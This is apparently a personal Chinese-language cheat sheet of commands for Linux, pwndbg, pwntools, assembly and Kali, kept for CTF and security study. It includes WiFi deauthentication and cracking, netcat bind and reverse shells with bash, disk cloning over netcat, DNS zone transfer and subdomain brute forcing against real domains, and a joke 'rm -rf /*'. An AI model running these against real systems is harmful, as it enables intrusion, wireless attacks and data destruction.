指令收录集

linux终端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#[文件/目录名]代表可加项,即可不加

#常用 详请百度自行搜索
$ ls $ ll ......
$ pwd
$ vim <文件名>
$ chmod 777 <文件名>
$ rm -r <目录名> $ rm <文件名>
$ cd / $ cd ../ $ cd <目录名>
$ cp ./<文件名> <目标路径>/
$ mv <原文件名> <想要修改成的文件名>
$ mv <文件/目录名> <想要移动至的目录>/[想要修改成的文件/目录名]
$ mkdir
$ cat -n
$ history
$ su root #可尝试ctrl+d、ctrl+c、ctrl+z来退出root权限
$ whereis <文件名>
$ sudo <指令>
$ sudo apt-get update
$ apt install <软件包名>
$ sudo passwd
$ readelf -a <二进制文件>
$ history | grep proxy
$ who /var/log/wtmp #

#pwn常用
$ gcc stack.c -fno -stack -protector -no -pie -o stack
$ gcc <文件名>.c -o <二进制文件名>
$ gcc -g <文件名>.c -o <binary> #插入调试信息
$ gcc -m32 <xx.c> -o <xx> #编译成32位二进制文件
$ ldd <二进制文件> #查看二进制文件所依赖的动态链接库文件
$ strace ./<二进制文件> #查看程序执行时的所有系统调用
$ ltrace ./<二进制文件> #查看调用过程中出现的libc函数

#web
$ netstat -aptn #查看本机端口
$ netstat -rn
$ netstat -pantu | grep 333
$ base64
$ ssh <用户名>@<ip> #ssh root@167.179.100.60
$ scp <用户名>@<ip地址>:<服务器文件位置的绝对路径> <接收路径> #拷贝服务器文件至<接收路径>
$ scp <本地文件> <用户名>@<ip地址>:<服务器接收位置的绝对路径> #向服务器发送文件
$ scp ./server_proxy.c root@45.77.47.112:/home/ubuntu/xy666/xy/
#关闭端口
$ netstat -anp | grep <端口> #查找想要关闭的端口的守护进程
$ kill -9 <PID> #PID为进程号

#编译时Linux保护机制的开启/关闭
#参考链接:https://www.jianshu.com/p/91fae054f922
$ -z execstack / -z noexecstack (NX开启/关闭)
$ -fno-stack-protector /-fstack-protector /-fstack-protector-all (Canary关闭/开启/全开启)
$ -no-pie / -pie (PIE关闭/开启)
$ -z norelro /-z lazy /-z now (RELRO关闭/部分开启/完全开启)

#grep
$ ll | grep 1 # |(管道符):把前面指令的输出作为后面指令的输入
$ ll > <文件名> # >(输出符),ll指令结果输出到文件中

#关机重启
$ reboot #重启
$ halt #关机

#进程查看 链接:https://cloud.tencent.com/developer/article/1711858
$ pstree -aup
$ top
$ ps -elf
$ ps -elf

#解压文件 链接:https://blog.csdn.net/afei__/article/details/82619843
$ tar -zxvf <文件名>.tar.gz
$ unzip <文件名>.zip
$ 7z x <文件名>.zip
$ unrar x <压缩包名>.rar

#压缩文件
$ tar -zcvf <压缩包名>.tar.gz [文件名] [目录名]
$ zip -r <压缩包名>.zip <文件/目录名>
$ rar a -r <压缩包名>.rar <文件/目录名>

#设置防火墙
$ firewall-cmd --state #查询防火墙规则
$ firewall-cmd --list-port #查看已开放端口
$ firewall-cmd --permanent --add-port=443/tcp #开放443端口
$ firewall-cmd --reload #重启防火墙(修改配置后要重启防火墙)
$ firewall-cmd --query-port=443/tcp #查询端口是否开放
$ firewall-cmd --permanent --remove-port=443/tcp #移除端口

$ systemctl start firewalld #开启防火墙管理工具
$ systemctl stop firewalld #关闭firewalld
$ systemctl status firewalld #查看firewalld状态

#objdump
$ objdump -dj .plt ret2libc2 #查看ret2libc2文件的plt表
$ objdump -h <可执行文件> #查看所有节,并节选所需内容

#ROPgadget
$ ROPgadget --binary ret2libc2 --only "pop|ret" #查找文件中的pop或ret字段
$ ROPgadget --binary ./chall | grep rdi
$ one_gadget ../lib/libc.so.6

#pwnable.kr
链接:https://www.jianshu.com/p/55fa36123960
$ scp -P<端口> <网站>:<文件> <本地目录> #本地输入该指令下载远程服务器文件
$ scp -P2222 passcode@pwnable.kr:passcode ./

#pwn题更换链接的库文件
##首先需要ldd <二进制文件> 查看当前链接的库文件
$ patchelf --replace-needed <当前链接的库文件> <想要更换为的库文件> <二进制文件>
$ patchelf --replace-needed libc.so.6 ./libc.so.6 ./pwn1
$ patchelf --replace-needed /lib/x86_64-linux-gnu/libc.so.6 ./libc-2.27.so ./unexploitable

#----------- .py文件中换ld、libc.so
myelf = ELF("./bin/chall")
mylibc = ELF("./lib/libc.so.6")
myld = ELF("./lib/ld-2.31.so")
myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
#----------- 源自:https://blingblingxuanxuan.github.io/2022/10/17/asis-ctf-2022-pwn/

#proxy 使用proxychains需要一些前期配置,自行百度
$ proxychains <git指令>
$ proxychains git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

#haha
$ whoami #这竟然是条指令
# rm -rf /* #root用户下,试试就逝世


pwndgb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# ******************************** ↓ 栈 ↓ ************************************************** #

#常用的
pwndbg> b main #break ,main函数下断点
pwndbg> r #run ,运行程序,其会自动在第一个断点处暂停执行
pwndbg> ni #next ,单步执行,不进入函数体
pwndbg> si #step ,单步执行,进入函数内部
pwndbg> p #print ,打印指定变量的值。例:p &buf2,查找buf2的存储地址,
pwndbg> i b #info break,查看所有断点
pwndbg> vmmap #查看当前程序的系统调用库,常用来查看可执行段位置
pwndbg> cyclic 200 #按一定的规则生成200个字符串
pwndbg> cyclic -l <数据> # 查询<数据>在生成的字符串中的位置,<数据>例子:0x62616164
pwndbg> b *<地址> # 指定地址处下断点,<地址>例子:0x08048648
pwndbg> x/130wx <地址> # 打印栈上信息,此处<地址>常用esp指向的栈地址
pwndbg> i all-registers # 查看所有寄存器信息
pwndbg> got #查看got表信息
pwndbg> elf #查看elf文件信息

#不常用
pwndbg> start #在程序第一条汇编指令处下断点
pwndbg> bt #查看函数调用栈
pwndbg> p <函数名> #查看函数地址
pwndbg> c #continue,运行至下一断点
pwndbg> d #delete ,通常用来删除所有断点,也可以删除指定编号的各类型断点
pwndbg> disass #~~emble ,反汇编,disassemble main,disassemble /r main

#暂未用到过的
pwndbg> l #list ,显示源程序代码的内容,包括各行代码所在的行号。
pwndbg> fi #finish ,结束当前正在执行的函数,并在跳出函数后暂停程序的执行。
pwndbg> j #jump ,使程序从当前要执行的代码处,直接跳转到指定位置处继续执行后续的代码。
pwndbg> q #quit ,终止调试。
pwndbg> u #until ,百度去搜

#高阶用法
# http://c.biancheng.net/view/8238.html
# https://www.cnblogs.com/zuoanfengxi/p/12763350.html
pwndbg> set $eip = 0x8048300 #设置寄存器eip的值
pwndbg> p $eip #打印
pwndbg> x/i $eip #把地址处存的值按照汇编来解析,打印出来

# ******************************** ↑ 栈 ↑ ************************************************** #

# ------------------------------- 分界线 ------------------------------------------------- #

# ******************************** ↓ 堆 ↓ ************************************************** #

pwndbg> top_chunk #打印top chunk初始地址
pwndbg> vmmap #不做冗余解释
pwndbg> bin #查看bin表

pwndbg> file ./<二进制文件名> #导入源代码,方便调试
pwndbg> x/250gx <地址> #打印堆信息
pwndbg>

# ******************************** ↑ 堆 ↑ ************************************************** #



exp

1
2
3
4
5
6
7
8
##!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*
from LibcSearcher import LibcSearcher
import sys
#context(arch="i386",os="linux",log_level="debug")
#context(arch="amd64",os="linux",log_level="debug")
#context.log_level='debug'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#连接:
sh = process('本地文件') #创建本地连接
sh = remote("ip地址",端口号) #远程
sh.close() #关闭连接

def <函数名>(参数1,参数2,...,参数n)

gdb.attach(io,'b* 0x08048598 \n c') #开启gdb调试,在0x08048598下断点并继续执行
sleep(3)
shellcode = asm("汇编代码") #汇编转二进制

elf = ELF('./<二进制文件名>')
<函数名>_plt = elf.plt['<函数名>']
read_got = elf.got['read']
main_adr = elf.symbols['_start']
bss_adr = elf.bss()

p.sendlineafter('字符串',data)#在遇到字符串后发送数据data
p.sendafter('字符串',data) #在遇到字符串后发送数据data

p.interactive() #直接进行交互,相当于回到shell的模式,在取得shell之后使用


pwntools ROP模块

参考链接:简书

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# raw()
rop.raw("a"*10) #--rop中添加10个a字符

# dump()
print rop.dump() #--将已构建的栈数据输出,且方便阅读

# call() #--使用rop.read(1,2,3):效果和call一样
rop.call('read',[1,2,3])
print rop.dump()
0x0000: 'aaaa' 'aaaaaaaaaa'
0x0004: 'aaaa'
0x0008: 'aaaa'
0x000c: 0x80483a0 read(1, 2, 3)
0x0010: 'eaaa' <return address>
0x0014: 0x1 arg0
0x0018: 0x2 arg1
0x001c: 0x3 arg2
#--rop模块会自动寻找gadget来连接上2次功能调用

# unresolve() #--rop.unresolve('main') 返回符号的地址

# migrate() #--通过栈迁移后控制程序往哪里执行
pop ebp; ret
如果此处换成其他地址,则栈就被迁移到另外一个地方去了
https://www.jianshu.com/p/0d45e2025d97

# chain() #--rop.chain(),返回完整的payload

python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  $ python3
$ python
$ python3 <文件名>.py
>>> from pwn import *
>>> from LibcSearcher import LibcSearcher
>>> cyclic(200)
>>> cyclic_find('aaag')
>>> print('a'*100)

>>> import pwn
>>> dir(pwn)
>>> help(pwn.process)

# print() 打印
# hex() 将10进制数转换为16进制地址


汇编指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
数据传送与访问:mov

算术运算与逻辑运算:
inc/dec #操作数±1
add/sub #长度相同的操作数相加减
and/or #按位逻辑与/或
mul #乘法操作
xor #异或操作,常用做寄存器值置零
cmp #比较两个值
neg #将操作数转换为二进制补码,并将操作数的符号位取反

跳转指令与循环指令:
jmp #无条件跳转指令,一般需要使用一个标号来标识,可以实现循环
LOOP #循环指令,每循环一次循环计数寄存器减1
je #条件跳转,链接:https://blog.csdn.net/ssihc0/article/details/5215044
test #与AND命令有相同效果,只是Test指令不改变AX和BX的内容,而AND指令会把结果保存到AX中

栈与函数调用:
push #入栈,详细操作P41
pop #从栈中pop一个值,给ebp

使用栈保存函数返回地址:
call #call调用子函数时,下一条指令的地址作为返回地址存入栈中
#相当于 push IP
# jmp near ptr 标号 这两条汇编
#https://blog.csdn.net/u013018721/article/details/51264199
ret #往栈上高地址一个单位取地址当做跳转地址 *******
#链接:https://blog.csdn.net/qq_37340753/article/details/81585083

其他:
lea #官方解释Load Effective Address,即装入有效地址的意思,它的操作数就是地址
nop #空操作,链接:https://www.cnblogs.com/shangzhijian/p/4994028.html
leave #mov esp,ebp和pop ebp
#链接:https://blog.csdn.net/striver1205/article/details/25216699
#链接:https://blog.csdn.net/zhangxinrun/article/details/5888425
int 0x80 #系统调用



gdb

1
2
# emm... 其实有个类似于pwndbg里的vmmap操作的指令想记一下
# 想想算了,懒得去找了,反正pwndbg挺好用的


kali终端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#常用
#常用的跟linux差不多
#查看指令帮助
$ <指令> -h
$ <指令> --help
$ man <指令>
$ info <指令>

#aircraft --最基本的破解wifi手法
$ ifconfig ##检查网卡是否连接
$ airmon-ng start wlan0 ##设置监听模式
$ airodump-ng wlan0mon ##扫描附近wifi

##监听目标流量
$ airodump-ng --bssid <wifi的Mac地址> -c <信道号> -w <生成文件的存储路径> wlan0mon
$ airodump-ng --bssid 74:54:27:90:AA:E2 -c 11 -w /home/xy666/Desktop/wifi/ wlan0mon

##攻击指定客户端
$ aireplay-ng -0 <攻击次数> -a <wifi的Mac地址> -c <被攻击设备的Mac地址> wlan0mon
$ aireplay-ng -0 20 -a 74:54:27:90:AA:E2 -c 04:10:6B:E6:A6:B0 wlan0mon

##暴力破解
$ aircrack-ng -w <字典路径> <生成的.cap文件路径>
$ aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/xy666/Desktop/wifi/-56.cap

#nc
$ nc -vn <ip> <端口> #-v显示详细连接信息,-n不解析域名,后跟IP地址及端口
$ ls | nc -vn 192.168.0.5 1724
$ nc -vn 123.125.50.29 110 #连接服务器端口

#传输信息(电子取证)
$ nc -l -p <端口> #开启一个监听端口,可供他人连接,客户端-nv可连接过来
$ ll | nc -nv <ip> <port> $ ps aux | nc -nv <ip> <port>
#传输文件
$ nc -lp <port> > 1.mp4 # >(写入),接收端,服务器端
$ nc -nv <ip> <port> < 1.mp4 -q 1 # <(输出),发送端,客户端
$ nc -q 1 -lp <port> < a.mp4 # 发送端,服务器端
$ nc -nv <ip> <port> > 2.mp4 # 接收端,客户端
#传输目录
$ tar -cvf - music/ | nc -lp <port> #目录打包成文件再传输
$ nc -nv <ip> <port> | tar -xvf - #接收数据并解包
#加密传输文件
$ nc -lp <port> | mcrypt --flush - Fbqd -a rijndael-256 -m ecb > 1.mp4
$ mcrypt --flush - Fbqd -a rijndael-256 -m ecb < a.mp4 | nc -nv <ip> <port>
#流媒体服务
$ cat 1.mp4 | nc -lp 333
$ nc -nv <ip> <port> | mplayer -vo xll -cache 3000 -

**#端口扫描(*)(hack)*****************************************
$ nc -nvz <ip> <端口范围> #端口值最大范围:1-65535
$ nc -vnzu <ip> <端口范围> #z判断端口是否开启,u探测UDP端口

#远程克隆硬盘(电子取证)
$ nc -lp <port> | dd of=/dev/sda #sda:硬盘
$ dd if=/dev/sda | nc -nv <ip> <port>

**#远程控制(*)(hack)*****************************************
$ nc -lp <port> -c bash #正向,windows用户把bash改成cmd
$ nc <ip> <port> #正向
$ nc -lp <port> #反向,服务器端
$ nc <ip> <port> -c bash #反向,客户端,客户端向服务器端交出shell
#反向控制可理解为远控桌面,叫别人过来帮忙操作,任务12-16min,etc/init.d目录
#服务器端和客户端都可以是用户,这里把开启端口让别人连接的一方称为服务器端
<!--假如防火墙禁用了所有外来访问用户的流量,只允许一个80端口访问用户,
那么黑客没法通过正向方法来获取用户的shell,
只能反向让用户自己启动电脑时交出shell。
正向时用户作为服务器端开启shell端口,黑客作为用户端连接shell端口获取shell。
反向时黑客作为服务器端开启获取shell的端口,
用户启动机器时加载黑客修改后的etc/init.d目录中
的文件时主动向黑客的服务器端交出shell。
反向利用的前提条件是黑客之前就通过其他漏洞入侵过用户的机器并修改了etc/init.d
这个应该就是别人常说的反弹shell
当然,若网络管理员安全意识较高,设置防火墙禁止了用户所有对外访问的流量,
那黑客也就无法再利用反弹shell了。
-->
#Ncat,包含于nmap工具包中,弥补nc不可加密缺陷,安全传输
$ ncat -c bash --allow <ip> -vnl <port> --ssl
$ ncat -nv <ip> <port> --ssl

#wireshark
#图形界面操作,任务12-15
#筛选器 filter
#dns 筛选dns协议包
#!(ip.src == 192.168.1.118) 不选择ip源为192.168.1.118的数据包
#(udp) && !(ip.addr == 192.168.1.118) udp与......
#!(ip.dst == 192.168.1.118) 不选择目标ip为......的数据包

#常见协议包
#任务13
#arp欺骗
#同类工具:Sniffer、Cace/riverbed

#TCPDUMP linux自带 默认抓68字节
#抓包
$ tcpdump -i eth0 -s 0 -w file.pcap #-s把包抓完整,-w保存到指定文件中
$ tcpdump -A -r file.pcap #-A以ASCLL码形式显示(-X 16进制形式),-r读取抓到的包
$ tcpdump -i eth0 port 22
#读取抓包文件
$ tcpdump -r file.pcap
#筛选 -n不把ip地址解析成域名 awk '{print $3}'只打印第三列
$ tcpdump -n -r http.cap | awk '{print $3}' | sort -U
$ tcpdump -n src host 145.254.160.237 -r http.cap #src源ip
$ tcpdump -n dst host 145.254.160.237 -r http.cap #dst目标ip
$ tcpdump -n port 53 -r http.cap #port端口
$ tcpdump -nX port 80 -r http.cap #-X 以16进制显示
#高级筛选
#任务15

#被动信息收集
#DNS信息收集——NSLOOKUP
$ nslookup
> www.sina.com
> type=a #参数除a(主机记录)外还可以是:mx(邮件交换记录)、ns(域名服务器)、any(所有域名记录)、ptr(反向解析)等
# > set type=mx #type可简写为q
# > sina.com
# > set q=ptr #通过ip查域名,反向查询,一个域名可以解析为多条主机记录、多个cname记录
# > 202.108.3.242
> server 202.106.0.20 #设置使用的域名服务器,server 8.8.8.8
spf #反垃圾邮件查询,记录类型:twxt
$ nslookup -q=any 163.com 114.114.114.114 #114.114.114.114是指定的DNS域名
$ nslookup -type=ns example.com 156.154.70.22

#DNS信息收集——DIG
#参数: +noall(什么也不输出) +answer(与noall搭配只看部分信息) 过滤查询结果
$ dig sina.com any @8.8.8.8 #等价于nslookup sina.com -type=any 8.8.8.8
$ dig sina.com ns #查询新浪的ns记录
$ dig mail.163.com any
$ dig +noall +answer mail.163.com any | awk '{print $5}' #awk '{print $5}'输出第5列
$ dig 163.com mx #查询163.com的mx记录
$ dig @8.8.8.8 www.sina.com mx #8.8.8.8是谷歌浏览器的dns服务器
$ dig www.sina.com any
$ dig +noall +answer -x 8.8.8.8 #反向查询
$ dig -x 220.181.14.157 #dig反向查询
#查询DNS服务器bind版本信息 任务17 20min
$ dig +noall +answer txt chaos VERSION.BIND @ns3.dnsv4.com
$ dig +noall +answer txt chaos VERSION.BIND @ns2.sina.com
<!--一般用户不需要知道版本信息,而黑客可以利用,所以通常禁止输出版本信息,导致查不到-->
$ dig +trace www.sina.com #dns追踪,任务17抓包演示
$ dig @nsl.example.com example.com axfr #axfr:Request for full zone transfer
$ host -T -l sina.com ns3.sina.com
#DNS字典爆破
$ fierce -dnsserver 8.8.8.8 -dns sina.com.cn -wordlist <字典所在目录的路径>/a.txt
#8.8.8.8:指定的dns服务器,-dns:指定要查的域这里为sina.com.cn,a.txt:使用的爆破字典
$ dpkg -L fierce
$ more /usr/lib/python3/dist-packages/fierce/lists/20000.txt
$ cat /usr/lib/python3/dist-packages/fierce/lists/20000.txt | grep www
$ dnsdict6 -d4 -t 16 -x xina.com #讲师推荐使用这条命令去爆破
#6表示不仅支持ipv6也支持ipv4,-t指定线程数上面是16个线程,-x指定使用什么级别的字典 任务18 30min
$ dnsenum -f dnsbig.txt -dnsserver 8.8.8.8 sina.com -o sina.xml
$ dnsmap sina.com -w dns.txt
$ dnsrecon -d sina.com --lifetime 10 -t brt -D dnsbig.txt
$ dnsrecon -t std -d sina.com
#





widows命令行

1
2
3
  win+R  打开cmd  (shutdown.exe /r /o /f /t 00、regedit、dxdiag)
> ipconfig #无线局域网适配器 WLAN: IPv4地址 即本机IP地址
> ping <ip/域名>